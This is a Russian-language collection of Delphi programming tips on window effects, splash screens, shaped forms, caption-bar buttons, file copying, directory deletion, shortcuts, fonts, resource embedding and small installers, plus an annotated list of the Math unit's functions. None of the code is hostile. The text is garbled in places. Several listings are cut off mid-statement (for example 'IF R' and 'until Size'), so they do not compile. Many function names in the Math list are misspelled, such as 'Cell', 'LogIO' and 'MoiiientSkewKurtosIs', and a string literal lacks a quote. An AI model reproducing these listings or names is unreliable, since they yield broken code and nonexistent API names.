end;
end.
Привлечение внимания к окну Часто возникает проблема — в многооконном приложении необходимо обратить внимание пользователя на то, что какое-то из окон требует внимания (например, к нему пришло сообщение по DDE, в нем завершился какой-либо процесс, произошла ошибка...). Это легко сделать, используя команду API FlashWindow:
procedure TForm1.Timer1Timer(Sender: TObject);
begin FlashWindow(Handle,true);
end;
В данном примере FlashWindow вызывается по таймеру ежесекундно, что приводит к миганию заголовка окна.
Заставка для программы Сведения о программе, авторские права и т.д., лучше оформить в виде отдельной формы и показывать ее при запуске программы (как это сделано в Word).
Сделать это не сложно:
1. Создаете форму (например SplashForm).
2. Объявляете ее свободной (availableForms).
3. В Progect Source вставляете следующее (например):
program Splashin;
uses Forms, Main in 'MAIN.PAS', Splash in 'SPLASH.PAS'
{$R *.RES}
begin
try
SplashForm := TSplashForm.Create(Application);
SplashForm.Show;
SplashForm.Update;
Application.CreateForm(TMainForm, MainForm);
SplashForm.Hide;
finally
SplashForm.Free;
end;
Application.Run;
end.
И форма SplashForm держится на экране пока выполняется Create в главной форме. Но иногда она появляется и пропадает очень быстро, поэтому нужно сделать задержку:
1. Добавляете на форму таймер с событием:
procedure TSplashForm.Timer1Timer(Sender: TObject);
begin
Timer1.Enabled := False;
end;
2. Событие onCloseQuery для формы:
procedure TSplashForm.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
CanClose := Not Timer1.Enabled;
end;
3. И перед SplashForm.Hide; ставите цикл:
repeat
Application.ProcessMessages;
until SplashForm.CloseQuery;
4. Все! Осталось установить на таймере период задержки 3-4 секунды.
5. На последок, у такой формы желательно убрать Caption:
SetWindowLong(Main.Handle,GWL_STYLE, GetWindowLong(Main.Handle, GWL_STYLE) AND NOT WS_CAPTION OR WS_SIZEBOX);
Прозрачная форма Эта форма имет прозрачный фон!!!
unit unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
// это просто кнопка на форме - для демонстрации
protected
procedure RebuildWindowRgn;
procedure Resize; override;
public
constructor Create(AOwner: TComponent); override;
end;
var
Form1 : TForm1;
implementation
// ресурс этой формы
{$R *.DFM}
{ Прозрачная форма }
constructor TForm1.Create(AOwner: TComponent);
begin
inherited;
// убираем сколлбары, чтобы не мешались
// при изменении размеров формы
HorzScrollBar.Visible:= False;
VertScrollBar.Visible:= False;
// строим новый регион
RebuildWindowRgn;
end;
procedure TForm1.Resize;
begin
inherited;
// строим новый регион
RebuildWindowRgn;
end;
procedure TForm1.RebuildWindowRgn;
var
FullRgn, Rgn: THandle;
ClientX, ClientY, I: Integer;
begin
// определяем относительные координаты клиенской части
ClientX:= (Width - ClientWidth) div 2;
ClientY:= Height - ClientHeight - ClientX;
// создаем регион для всей формы
FullRgn:= CreateRectRgn(0, 0, Width, Height);
// создаем регион для клиентской части формы
// и вычитаем его из FullRgn
Rgn:= CreateRectRgn(ClientX, ClientY, ClientX + ClientWidth, ClientY +
ClientHeight);
CombineRgn(FullRgn, FullRgn, Rgn, rgn_Diff);
// теперь добавляем к FullRgn регионы каждого контрольного элемента
for I:= 0 to ControlCount -1 do
with Controls[I] do begin
Rgn:= CreateRectRgn(ClientX + Left, ClientY + Top, ClientX + Left +
Width, ClientY + Top + Height);
CombineRgn(FullRgn, FullRgn, Rgn, rgn_Or);
end;
// устанавливаем новый регион окна
SetWindowRgn(Handle, FullRgn, True);
end;
end.
А как Вам понравится эта форма ?
unit rgnu;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
Buttons, Menus;
type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure FormPaint(Sender: TObject);
private
{ Private declarations }
rTitleBar : THandle;
Center : TPoint;
CapY : Integer;
Circum : Double;
SB1 : TSpeedButton;
RL, RR : Double;
procedure TitleBar(Act : Boolean);
procedure WMNCHITTEST(var Msg: TWMNCHitTest);
message WM_NCHITTEST;
procedure WMNCACTIVATE(var Msg: TWMNCACTIVATE);
message WM_NCACTIVATE;
procedure WMSetText(var Msg: TWMSetText);
message WM_SETTEXT;
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
CONST
TitlColors : ARRAY[Boolean] OF TColor =
(clInactiveCaption, clActiveCaption);
TxtColors : ARRAY[Boolean] OF TColor =
(clInactiveCaptionText, clCaptionText);
procedure TForm1.FormCreate(Sender: TObject);
VAR
rTemp, rTemp2 : THandle;
Vertices : ARRAY[0..2] OF TPoint;
X, Y : INteger;
begin
Caption := 'OOOH! Doughnuts!';
BorderStyle := bsNone; {required}
IF Width > Height THEN Width := Height
ELSE Height := Width; {harder to calc if width <> height}
Center := Point(Width DIV 2, Height DIV 2);
CapY := GetSystemMetrics(SM_CYCAPTION)+8;
rTemp := CreateEllipticRgn(0, 0, Width, Height);
rTemp2 := CreateEllipticRgn((Width DIV 4), (Height DIV 4),
3*(Width DIV 4), 3*(Height DIV 4));
CombineRgn(rTemp, rTemp, rTemp2, RGN_DIFF);
SetWindowRgn(Handle, rTemp, True);
DeleteObject(rTemp2);
rTitleBar := CreateEllipticRgn(4, 4, Width-4, Height-4);
rTemp := CreateEllipticRgn(CapY, CapY, Width-CapY, Height-CapY);
CombineRgn(rTitleBar, rTitleBar, rTemp, RGN_DIFF);
Vertices[0] := Point(0,0);
Vertices[1] := Point(Width, 0);
Vertices[2] := Point(Width DIV 2, Height DIV 2);
rTemp := CreatePolygonRgn(Vertices, 3, ALTERNATE);
CombineRgn(rTitleBar, rTitleBar, rTemp, RGN_AND);
DeleteObject(rTemp);
RL := ArcTan(Width / Height);
RR := -RL + (22 / Center.X);
X := Center.X-Round((Center.X-1-(CapY DIV 2))*Sin(RR));
Y := Center.Y-Round((Center.Y-1-(CapY DIV 2))*Cos(RR));
SB1 := TSpeedButton.Create(Self);
WITH SB1 DO
BEGIN
Parent := Self;
Left := X;
Top := Y;
Width := 14;
Height := 14;
OnClick := Button1Click;
Caption := 'X';
Font.Style := [fsBold];
END;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
Close;
End;
procedure TForm1.WMNCHITTEST(var Msg: TWMNCHitTest);
begin
Inherited;
WITH Msg DO
WITH ScreenToClient(Point(XPos,YPos)) DO
IF PtInRegion(rTitleBar, X, Y) AND
(NOT PtInRect(SB1.BoundsRect, Point(X,Y))) THEN
Result := htCaption;
end;
procedure TForm1.WMNCActivate(var Msg: TWMncActivate);
begin
Inherited;
TitleBar(Msg.Active);
end;
procedure TForm1.WMSetText(var Msg: TWMSetText);
begin
Inherited;
TitleBar(Active);
end;
procedure TForm1.TitleBar(Act: Boolean);
VAR
TF : TLogFont;
R : Double;
N, X, Y : Integer;
begin
IF Center.X = 0 THEN Exit;
WITH Canvas DO
begin
Brush.Style := bsSolid;
Brush.Color := TitlColors[Act];
PaintRgn(Handle, rTitleBar);
R := RL;
Brush.Color := TitlColors[Act];
Font.Name := 'Arial';
Font.Size := 12;
Font.Color := TxtColors[Act];
Font.Style := [fsBold];
GetObject(Font.Handle, SizeOf(TLogFont), @TF);
FOR N := 1 TO Length(Caption) DO
BEGIN
X := Center.X-Round((Center.X-6)*Sin(R));
Y := Center.Y-Round((Center.Y-6)*Cos(R));
TF.lfEscapement := Round(R * 1800 / pi);
Font.Handle := CreateFontIndirect(TF);
TextOut(X, Y, Caption[N]);
R := R - (((TextWidth(Caption[N]))+2) / Center.X);
IF R
END;
Font.Name := 'MS Sans Serif';
Font.Size := 8;
Font.Color := clWindowText;
Font.Style := [];
end;
end;
procedure TForm1.FormPaint(Sender: TObject);
begin
WITH Canvas DO
BEGIN
Pen.Color := clBlack;
Brush.Style := bsClear;
Pen.Width := 1;
Pen.Color := clWhite;
Arc(1, 1, Width-1, Height-1, Width, 0, 0, Height);
Arc((Width DIV 4)-1, (Height DIV 4)-1,
3*(Width DIV 4)+1, 3*(Height DIV 4)+1, 0, Height, Width, 0);
Pen.Color := clBlack;
Arc(1, 1, Width-1, Height-1, 0, Height, Width, 0);
Arc((Width DIV 4)-1, (Height DIV 4)-1,
3*(Width DIV 4)+1, 3*(Height DIV 4)+1, Width, 0, 0, Height);
TitleBar(Active);
END;
end;
end.
Как получить короткий путь файла если имеется длинный ("c:\Program Files" ==> "c:\progra~1") GetShortPathName()
Как создать свою кнопку в заголовке формы (на Caption Bar) Непосредственно такой функции вроде нет, но можно изловчиться. Нарисовать там кнопку вручную и обрабатывать команды нажатия мышки на Caption Bar.
Пример.
unit Main;
interface
uses
Windows, Buttons, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;
type
TForm1 = class(TForm)
procedure FormResize(Sender: TObject);
private
CaptionBtn : TRect;
procedure DrawCaptButton;
procedure WMNCPaint(var Msg : TWMNCPaint); message WM_NCPaint;
procedure WMNCActivate(var Msg : TWMNCActivate); message WM_NCACTIVATE;
procedure WMSetText(var Msg : TWMSetText); message WM_SETTEXT;
procedure WMNCHitTest(var Msg : TWMNCHitTest); message WM_NCHITTEST;
procedure WMNCLButtonDown(var Msg : TWMNCLButtonDown); message WM_NCLBUTTONDOWN;
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
const
htCaptionBtn = htSizeLast + 1;
{$R *.DFM}
procedure TForm1.DrawCaptButton;
var
xFrame, yFrame, xSize, ySize : Integer;
R : TRect;
begin
//Dimensions of Sizeable Frame
xFrame := GetSystemMetrics(SM_CXFRAME);
yFrame := GetSystemMetrics(SM_CYFRAME);
//Dimensions of Caption Buttons
xSize := GetSystemMetrics(SM_CXSIZE);
ySize := GetSystemMetrics(SM_CYSIZE);
//Define the placement of the new caption button
CaptionBtn := Bounds(Width - xFrame - 4*xSize + 2,
yFrame + 2, xSize - 2, ySize - 4);
//Get the handle to canvas using Form's device context
Canvas.Handle := GetWindowDC(Self.Handle);
Canvas.Font.Name := 'Symbol';
Canvas.Font.Color := clBlue;
Canvas.Font.Style := [fsBold];
Canvas.Pen.Color := clYellow;
Canvas.Brush.Color := clBtnFace;
try
DrawButtonFace(Canvas, CaptionBtn, 1, bsAutoDetect, False, False, False);
//Define a smaller drawing rectangle within the button
R := Bounds(Width - xFrame - 4 * xSize + 2,
yFrame + 3, xSize - 6, ySize - 7);
with CaptionBtn do
Canvas.TextRect(R, R.Left + 2, R.Top - 1, 'W');
finally
ReleaseDC(Self.Handle, Canvas.Handle);
Canvas.Handle := 0;
end;
end;
procedure TForm1.WMNCPaint(var Msg : TWMNCPaint);
begin
inherited;
DrawCaptButton;
end;
procedure TForm1.WMNCActivate(var Msg : TWMNCActivate);
begin
inherited;
DrawCaptButton;
end;
procedure TForm1.WMSetText(var Msg : TWMSetText);
begin
inherited;
DrawCaptButton;
end;
procedure TForm1.WMNCHitTest(var Msg : TWMNCHitTest);
begin
inherited;
with Msg do
if PtInRect(CaptionBtn, Point(XPos - Left, YPos - Top)) then
Result := htCaptionBtn;
end;
procedure TForm1.WMNCLButtonDown(var Msg : TWMNCLButtonDown);
begin
inherited;
if (Msg.HitTest = htCaptionBtn) then
ShowMessage('You hit the button on the caption bar');
end;
procedure TForm1.FormResize(Sender: TObject);
begin
//Force a redraw of caption bar if form is resized
Perform(WM_NCACTIVATE, Word(Active), 0);
end;
end.
Преобразование текста OEM в Ansi Эта версия работает под любым Delphi.
(Начиная с Delphi 2, это можно записать короче с использованием AnsiToOem и OemToAnsi.)
Здесь все просто.
function ConvertAnsiToOem(const S : string) : string;
{ ConvertAnsiToOem translates a string into the OEM-defined character set }
{$IFNDEF WIN32}
var
Source, Dest : array[0..255] of Char;
{$ENDIF}
begin
{$IFDEF WIN32}
SetLength(Result, Length(S));
if Length(Result) > 0 then
AnsiToOem(PChar(S), PChar(Result));
{$ELSE}
if Length(Result) > 0 then
begin
AnsiToOem(StrPCopy(Source, S), Dest);
Result := StrPas(Dest);
end;
{$ENDIF}
end; { ConvertAnsiToOem }
function ConvertOemToAnsi(const S : string) : string;
{ ConvertOemToAnsi translates a string from the OEM-defined
character set into either an ANSI or a wide-character string }
{$IFNDEF WIN32}
var
Source, Dest : array[0..255] of Char;
{$ENDIF}
begin
{$IFDEF WIN32}
SetLength(Result, Length(S));
if Length(Result) > 0 then
OemToAnsi(PChar(S), PChar(Result));
{$ELSE}
if Length(Result) > 0 then
begin
OemToAnsi(StrPCopy(Source, S), Dest);
Result := StrPas(Dest);
end;
{$ENDIF}
end; { ConvertOemToAnsi }
Состояние кнопки insert (Insert/Overwrite) {------------------------------------------}
{ Returns the status of the Insert key. }
{------------------------------------------}
function InsertOn: Boolean;
begin
if LowOrderBitSet(GetKeyState(VK_INSERT)) then InsertOn := true
else InsertOn := false
end;
Сводка функций модуля Math Здесь я привожу полный список всех функций и процедур модуля Math. При переходе от Delphi 2 к Delphi 3 модуль Math почти не изменился, фирма Borland ввела в него только три новые функции: MaxIntValue, MInIntValue и Sumint. Эти функции отличаются от своих прототипов (MaxValue, MInValue и Sum) лишь тем, что работают исключительно с целыми числами, не принимая и не возвращая величин с плавающей точкой. Что касается остальных функций, то большинство из них вполне очевидно. Если вам покажется иначе — что ж, садитесь за исследования. И не надейтесь, что все тайны Delphi достанутся вам на блюдечке в виде help-файла!
Тригонометрические функции и процедуры
ArcCos — Арккосинус
ArcCosh — Пиперболический арккосинус
ArcSIn — Арксинус
ArcSInh — Гиперболический арксинус
ArcTahn — Гиперболический арктангенс
ArcTan2 — Арктангенс с учетом квадранта (функция ArcTan, не учитывающая квадрант, находится в модуле System)
Cosh — Гиперболический косинус
Cotan — Котангенс
CycleToRad — Преобразование циклов в радианы
DegToRad — Преобразование градусов в радианы
GradToRad — Преобразование градов в радианы
Hypot — Вычисление гипотенузы прямоугольного треугольника по длинам катетов
RadToCycle — Преобразование радианов в циклы
RadToDeg — Преобразование радианов в градусы
RacIToGrad — Преобразование радианов в грады
SinCos — Вычисление синуса и косинуса угла. Как и в случае SumAndSquares и MeanAndStdDev, одновременная генерация обеих величин происходит быстрее
Sinh — Гиперболический синус
Tan — Тангенс
Tanh — Гиперболический тангенс
Арифметические функции и процедуры
Cell — Округление вверх
Floor — Округление вниз
Frexp — Вычисление мантиссы и порядка заданной величины
IntPower — Возведение числа в целую степень. Если вы не собираетесь пользоваться экспонентами с плавающей точкой, желательно использовать эту функцию из-за ее скорости
Ldexp — Умножение Х на 2 в заданной степени
LnXPI — Вычисление натурального логарифма Х+1. Рекомендуется для X, близких к нулю
LogN — Вычисление логарифма Х по основанию N
LogIO — Вычисление десятичного логарифмах
Log2 — Вычисление двоичного логарифмах
Power — Возведение числа в степень. Работает медленнее IntPower, но для операций с плавающей точкой вполне приемлемо
Финансовые функции и процедуры
DoubleDecliningBalance — Вычисление амортизации методом двойного баланса
FutureValue — Будущее значение вложения
InterestPayment — Вычисление процентов по ссуде
InterestRate — Норма прибыли, необходимая для получения заданной суммы
InternalRateOfReturn — Вычисление внутренней скорости оборота вложения для ряда последовательных выплат
NetPresentValue — Вычисление чистой текущей стоимости вложения для ряда последовательных выплат с учетом процентной ставки
NumberOf Periods — Количество периодов, за которое вложение достигнет заданной величины
Payment — Размер периодической выплаты, необходимой для погашения ссуды, при заданном числе периодов, процентной ставке, а также текущем и будущем значениях ссуды
PerlodPayment — Платежи по процентам за заданный период
PresentValue — Текущее значение вложения
SLNDepreclatlon — Вычисление амортизации методом постоянной нормы
SYDepreclatlon — Вычисление амортизации методом весовых коэффициентов
Статистические функции и процедуры
MaxIntValue — Максимальное значение в наборе целых чисел. Функция появилась в Delphi 3. ее не существует в Delphi 2
MaxValue — Максимальное значение в наборе чисел. В Delphi 2 функция возвращает минималъное значение
Mean — Среднее арифметическое для набора чисел
MeanAndStdDev — Одновременное вычисление среднего арифметического и стандартного отклонения для набора чисел. Вычисляется быстрее, чем обе величины по отдельности
MinIntValLie — Минимальное значение в наборе целых чисел. Функция появилась в Delphi 3, ее не существует в Delphi 2
MInValue — Минимальное значение в наборе чисел. В Delphi 2 функция возвращает максимальное значение
MoiiientSkewKurtosIs — Статистические моменты порядков с первого по четвертый, а также асимметрия (skew) и эксцесс (kurtosis) для набора чисел
Norm — Норма для набора данных (квадратный корень из суммы квадратов)
PopnStdDev — Выборочное стандартное отклонение. Отличается от обычного стандартного отклонения тем, что при вычислениях используется выборочное значение дисперсии, PopnVarlance (см. ниже)
PopnVarlance — Выборочная дисперсия. Использует "смещенную" формулу TotalVanance/n
RandG — Генерация нормально распределенных случайных чисел с заданным средним значением и среднеквадратическим отклонением
StdDev — Среднеквадратическое отклонение для набора чисел
Sum — Сумма набора чисел
SLimsAndSquares — Одновременное вычисление суммы и суммы квадратов для набора чисел. Как и в других функциях модуля Math, обе величины вычисляются быстрее, чем по отдельности
Sumint — Сумма набора целых чисел. Функция появилась в Delphi 3, ее не существует в Delphi 2
SLimOfSquares — Сумма квадратов набора чисел
Total Variance — "Полная дисперсия" для набора чисел. Это сумма квадратов расстояний всех величин от их среднего арифметического
Variance — Выборочная дисперсия для набора чисел. Функция использует "несмещенную" формулу TotalVanапсе/ (n – 1)
Внутри конструктора Create компонента создаю другой компонент, но Delphi помещает запись о втором компоненте в dfm-файл!У меня такая проблема: я пишу компонент, который внутри себя создаёт другой компонент. Конструктор первого компонента выглядит примерно так:
constructor TFirstComp.Create(AOwner:TComponent);
begin
inherited Create(AOwner);
SecondComp:=TSecondComp.Create(Owner)
end;
Проблема заключается в том, что при помещении первого компонента на форму в dfm-файл записывается информация и о втором компоненте тоже. А в pas-файл — только о первом. Это приводит к конфликтам. Для меня принципиально, чтобы хозяин у второго компонента был тот же, что и у первого. Как не дать Delphi поместить запись о TSecondComp в dfm-файл?
Попробуйте сделать так:
constructor TFirstComp.Create(AOwner:TComponent);
begin
inherited Create(AOwner);
SecondComp:=TSecondComp.Create(SELF);
end;
Т.е. дочернему компоненту в качастве владельца передавайте его непосредственного хозяина.
Как вставить иконку (или bitmap) в TRichEdit, причем так, чтобы пользователь мог ее удалить нажатием клавиши Del (как это сделано в Microsoft Word)? Посмотрите компонент RichEdit98 (полностью бесплатный). ftp://ftp.bcsmi.minsk.by/alex/
Глюки TImage
При увеличении размера компонента TImage в RunTime пытаюсь рисовать заново на всем поле, но отображается только часть компонента (прежнего размера). В чем дело?
Ответ: Нужно при инициализации выполнить SetBounds(), с максимальными размерами.
QReport Обнаружил, что компонент QReport никак не реагирует на установки принтера PrinterSetup диалога, вызываемого нажатием кнопочки собственного Preview!
В QuickReport есть собственный объект TQRPrinter, установки которого он использует при печати, а стандартные установки принтеров на него не влияют. В диалоге PrinterSetup, вызываемом из Preview можно лишь выбрать принтер на который нужно печатать (если, конечно, установлено несколько принтеров).
Советую поставить обновление QReport на 2.0J с www.qusoft.com.
Перед печатью (не только из QReport) программно установите требуемый драйвер принтера текущим для Windows
function SetDefPrn(const stDriver : string) : boolean;
begin
SetPrinter(nil).Free;
Result := WriteProfileString('windows', device', PChar( stDriver));
end;
После печати восстановите установки.
Советы по работе с системой
Советы для написания программ-инсталляторовРегистрация программ в меню "Пуск" Windows 95
Подобная проблема возникает при создании инсталляторов и деинсталляторов. Наиболее простой и гибкий путь — использование DDE. При этом посылаются запросы к PROGMAN. Для этого необходимо поместить на форму компонент для посылки DDE запросов — объект типа TDdeClientConv. Для определенности назовем его DDEClient. Затем добавим метод для запросов к PROGMAN:
Function TForm2.ProgmanCommand(Command:string):boolean;
var macrocmd:array[0..88] of char;
begin
DDEClient.SetLink('PROGMAN','PROGMAN');
DDEClient.OpenLink; { Устанавливаем связь по DDE }
strPCopy(macrocmd,'['+Command+']'); { Подготавливаем ASCIIZ строку }
ProgmanCommand :=DDEClient.ExecuteMacro(MacroCmd,false);
DDEClient.CloseLink; { Закрываем связь по DDE }
end;
При вызове ProgmanCommand возвращает true, если посылка макроса была успешна. Система команд (основных) приведена ниже:
Create(Имя группы, путь к GRP файлу)
Создать группу с именем "Имя группы", причем в нем могут быть пробелы и знаки препинания. Путь к GRP файлу можно не указывать, тогда он создастся в каталоге Windows.
Delete(Имя группы)
Удалить группу с именем "Имя группы"
ShowGroup(Имя группы, состояние)
Показать группу в окне, причем состояние — число, определяющее параметры окна:
1 — нормальное состояние + активация
2 — миним.+ активация
3 — макс. + активация
4 — нормальное состояние
5 — Активация
AddItem(командная строка, имя раздела, путь к иконке, индекс иконки (с 0), Xpos,Ypos, рабочий каталог, HotKey, Mimimize)
Добавить раздел к активной группе. В командной строке, имени размера и путях допустимы пробелы, Xpos и Ypos — координаты иконки в окне, лучше их не задавать, тогда PROGMAN использует значения по умолчанию для свободного места. HotKey - виртуальный код горячей клавиши. Mimimize — тип запуска, 0 — в обычном окне, <>0 — в минимизированном.
DeleteItem(имя раздела)
Удалить раздел с указанным именем в активной группе
Пример использования:
ProgmanCommand('CreateGroup(Комплекс программ для каталогизации литературы,)');
ProgmanCommand('AddItem('+path+'vbase.hlp,Справка по VBase,'+ path +' vbase.hlp, 0, , , '+ path + ',,)');
где path — строка типа String, содержащая полный путь к каталогу ('C:\Catalog\');
Как программно создать ярлык?
uses ShlObj, ComObj, ActiveX;
procedure CreateLink(const PathObj, PathLink, Desc, Param: string);
var
IObject: IUnknown;
SLink: IShellLink;
PFile: IPersistFile;
begin
IObject := CreateComObject(CLSID_ShellLink);
SLink := IObject as IShellLink;
PFile := IObject as IPersistFile;
with SLink do begin
SetArguments(PChar(Param));
SetDescription(PChar(Desc));
SetPath(PChar(PathObj));
end;
PFile.Save(PWChar(WideString(PathLink)), FALSE);
end;
Затенить кнопку «Закрыть» в заголовке формы
Следующий текст убирает команду «закрыть» из системного меню и одновременно делает серой кнопку «закрыть» в заголовке формы:
procedure TForm1.FormCreate(Sender: TObject);
var hMenuHandle:HMENU;
begin
hMenuHandle := GetSystemMenu(Handle, FALSE);
IF (hMenuHandle <> 0) THEN DeleteMenu(hMenuHandle, SC_CLOSE, MF_BYCOMMAND);
end;
Копирование файловКопирование методом TurboPascal
Type
TCallBack=procedure(Position,Size:Longint); {Для индикации процесса копирования}
procedure FastFileCopy(Const InfileName, OutFileName: String; CallBack: TCallBack);
Const BufSize = 3*4*4096; { 48Kbytes дает прекрасный результат }
Type
PBuffer = ^TBuffer;
TBuffer = array [1..BufSize] of Byte;
var
Size : integer;
Buffer : PBuffer;
infile, outfile : File;
SizeDone,SizeFile: Longint;
begin
if (InFileName <> OutFileName) then begin
buffer := Nil;
AssignFile(infile, InFileName);
System.Reset(infile, 1);
try
SizeFile := FileSize(infile);
AssignFile(outfile, OutFileName);
System.Rewrite(outfile, 1);
try
SizeDone := 0; New(Buffer);
repeat
BlockRead(infile, Buffer^, BufSize, Size);
Inc(SizeDone, Size);
CallBack(SizeDone, SizeFile);
BlockWrite(outfile,Buffer^, Size)
until Size
FileSetDate(TFileRec(outfile).Handle,
FileGetDate(TFileRec(infile).Handle));
finally
if Buffer <> Nil then Dispose(Buffer);
System.close(outfile)
end;
finally
System.close(infile);
end;
end else Raise EInOutError.Create('File cannot be copied into itself');
end;
Копирование методом потокаProcedure FileCopy(Const SourceFileName, TargetFileName: String);
Var
S,T : TFileStream;
Begin
S := TFileStream.Create(sourcefilename, fmOpenRead );
try
T := TFileStream.Create(targetfilename, fmOpenWrite or fmCreate);
try
T.CopyFrom(S, S.Size ) ;
FileSetDate(T.Handle, FileGetDate(S.Handle));
finally
T.Free;
end;
finally
S.Free;
end;
end;
Копирование методом LZExpanduses LZExpand;
procedure CopyFile(FromFileName, ToFileName : string);
var
FromFile, ToFile: File;
begin
AssignFile(FromFile, FromFileName);
AssignFile(ToFile, ToFileName);
Reset(FromFile);
try
Rewrite(ToFile);
try
if LZCopy(TFileRec(FromFile).Handle, TFileRec(ToFile).Handle)<0 then raise exception.create('error using lzcopy')< code>
finally
CloseFile(ToFile);
end;
finally
CloseFile(FromFile);
end;
end;
Копирование методами Windowsuses ShellApi; // !!! важно
function WindowsCopyFile(FromFile, ToDir : string) : boolean;
var F : TShFileOpStruct;
begin
F.Wnd := 0; F.wFunc := FO_COPY;
FromFile:=FromFile+#0; F.pFrom:=pchar(FromFile);
ToDir:=ToDir+#0; F.pTo:=pchar(ToDir);
F.fFlags := FOF_ALLOWUNDO or FOF_NOCONFIRMATION;
result:=ShFileOperation(F) = 0;
end;
// пример копирования
procedure TForm1.Button1Click(Sender: TObject);
begin
if not WindowsCopyFile('C:\UTIL\ARJ.EXE', GetCurrentDir) then ShowMessage('Copy Failed');
end;
Как скопировать все файлы вместе с подкаталогами
uses ShellApi;
procedure TForm1.Button1Click(Sender: TObject);
var
OpStruc: TSHFileOpStruct;
frombuf, tobuf: Array [0..128] of Char;
Begin
FillChar( frombuf, Sizeof(frombuf), 0 );
FillChar( tobuf, Sizeof(tobuf), 0 );
StrPCopy( frombuf, 'h:\hook\*.*' );
StrPCopy( tobuf, 'd:\temp\brief' );
With OpStruc DO Begin
Wnd:= Handle;
wFunc:= FO_COPY;
pFrom:= @frombuf;
pTo:=@tobuf;
fFlags:= FOF_NOCONFIRMATION or FOF_RENAMEONCOLLISION;
fAnyOperationsAborted:= False;
hNameMappings:= Nil;
lpszProgressTitle:= Nil;
end;
ShFileOperation( OpStruc );
end;
Удаление каталога со всем содержимым
{ Удалить каталог со всем содержимым }
function DeleteDir(Dir : string) : boolean;
Var
Found : integer;
SearchRec : TSearchRec;
begin
result:=false;
if IOResult<>0 then ;
ChDir(Dir);
if IOResult<>0 then begin
ShowMessage('Не могу войти в каталог: '+Dir); exit;
end;
Found := FindFirst('*.*', faAnyFile, SearchRec);
while Found = 0 do begin
if (SearchRec.Name<>'.')and(SearchRec.Name<>'..') then
if (SearchRec.Attr and faDirectory)<>0 then begin
if not DeleteDir(SearchRec.Name) then exit;
end else
if not DeleteFile(SearchRec.Name) then begin
ShowMessage('Не могу удалить файл: '+SearchRec.Name); exit;
end;
Found := FindNext(SearchRec);
end;
FindClose(SearchRec);
ChDir('..'); RmDir(Dir);
result:=IOResult=0;
end;
Определение системной информации
Часто при создании систем привязки программ к компьютеру или окон типа System Info или About Box необходимо определить данные о пользователе и о системе. Это можно сделать следующим образом (из примеров по Delphi — программа COA):
Procedure GetInfo;
Var
WinVer, WinFlags : LongInt; { Версия Windows и флаги }
hInstUser, Fmt : Word; { Дескриптор }
Buffer : ARRAY[0..30] OF Char; { Буфер под ASCIIZ строку }
begin
hInstUser := LoadLibrary('USER'); { Открыли библиотеку User }
LoadString(hInstUser, 514, Buffer, 30);
LabelUserName.Caption := StrPas(Buffer); { Имя пользователя }
LoadString(hInstUser, 515, Buffer, 30);
FreeLibrary(hInstUser);
LabelCompName.Caption := StrPas(Buffer); { Компания }
WinVer := GetVersion;
LabelWinVer.Caption := Format('Windows %u.%.2u', { Версия Windows }
[LoByte(LoWord(WinVer)), HiByte(LoWord(WinVer))]);
LabelDosVer.Caption := Format('DOS %u.%.2u', { Версия DOS }
[HiByte(HiWord(WinVer)), LoByte(HiWord(WinVer))]);
WinFlags := GetWinFlags;
IF WinFlags AND WF_ENHANCED > 0 THEN LabelWinMode.Caption := '386 Enhanced Mode' { Режим }
ELSE IF WinFlags AND WF_PMODE > 0 THEN LabelWinMode.Caption := 'Standard Mode'
ELSE LabelWinMode.Caption := 'Real Mode';
IF WinFlags AND WF_80x87 > 0 THEN { Сопроцессор }
ValueMathCo.Caption := 'Present'
ELSE ValueMathCo.Caption := 'Absent';
Fmt := GetFreeSystemResources(GFSR_SYSTEMRESOURCES);
ValueFSRs.Caption := Format('%d%% Free', [Fmt1]); { Свободно ресурсов }
{ Свободно памяти}
ValueMemory.Caption := FormatFloat(',#######', MemAvail DIV 1024) + ' KB Free';
end;
Как проинсталлировать свои шрифты?
Добавить фонт (.fon, .fot, .fnt, .ttf) в систему можно след. образом:
{$IFDEF WIN32}
AddFontResource( PChar( my_font_PathName { AnsiString } ) );
{$ELSE}
var ss: array [ 0..255 ] of Char;
AddFontResource(StrPCopy(ss, my_font_PathName));
{$ENDIF}
SendMessage(HWND_BROADCAST, WM_FONTCHANGE, 0, 0);
Убрать его по окончании работы:
{$IFDEF WIN32}
RemoveFontResource ( PChar(my_font_PathName) );
{$ELSE}
RemoveFontResource ( StrPCopy ( ss, my_font_PathName ));
{$ENDIF}
SendMessage ( HWND_BROADCAST, WM_FONTCHANGE, 0, 0 );
При этом не надо никаких перезагрузок и прочего, после добавления фонт сразу можно использовать. my_font_PathName : string ( не string[nn] для D2+) — содержит полный путь с именем и расширением необходимого фонта. После удаления фонта форточки о нем забывают. Если его не удалить, он (кажется) так и останется проинсталенным, во всяком случае, я это не проверял.
Вставить какую-нибудь программу внутрь EXE файла
1. Пишем в блокноте RC-файл, куда прописываем все нужные нам программы, например:
ARJ EXEFILE C:\UTIL\ARJ.EXE
2. Компилируем его в ресурс при помощи Brcc32.exe. Получаем RES-файл.
3. Далее в тексте нашей программы:
implementation
{$R *.DFM}
{$R test.res} //Это наш RES-файл
procedure ExtractRes(ResType, ResName, ResNewName : String);
var
Res : TResourceStream;
begin
Res := TResourceStream.Create(Hinstance, Resname, Pchar(ResType));
Res.SavetoFile(ResNewName);
Res.Free;
end;
procedure TForm1.BitBtn1Click(Sender: TObject);
begin
// Записывает в текущую папку arj.exe
ExtractRes('EXEFILE', 'ARJ', 'ARJ.EXE');
end;
Как написать маленький инсталлятор?
Мне понравился следующий вариант: главное приложение само выполняет функции инсталлятора. Первоначально файл называется Setup.exe. При запуске под этим именем приложение устанавливает себя, после установки программа переименовывает себя и перестает быть инсталлятором.
Пример:
Application.Initialize;
if UpperCase(ExtractFileName(Application.ExeName))='SETUP.EXE' then Application.CreateForm(TSetupForm, SetupForm) // форма инсталлятора
else Application.CreateForm(TMainForm, MainForm); // форма основной программы
Application.Run;
Рисую две иконки 32х32 и 16х16, но под NT 32х32 не показывается!
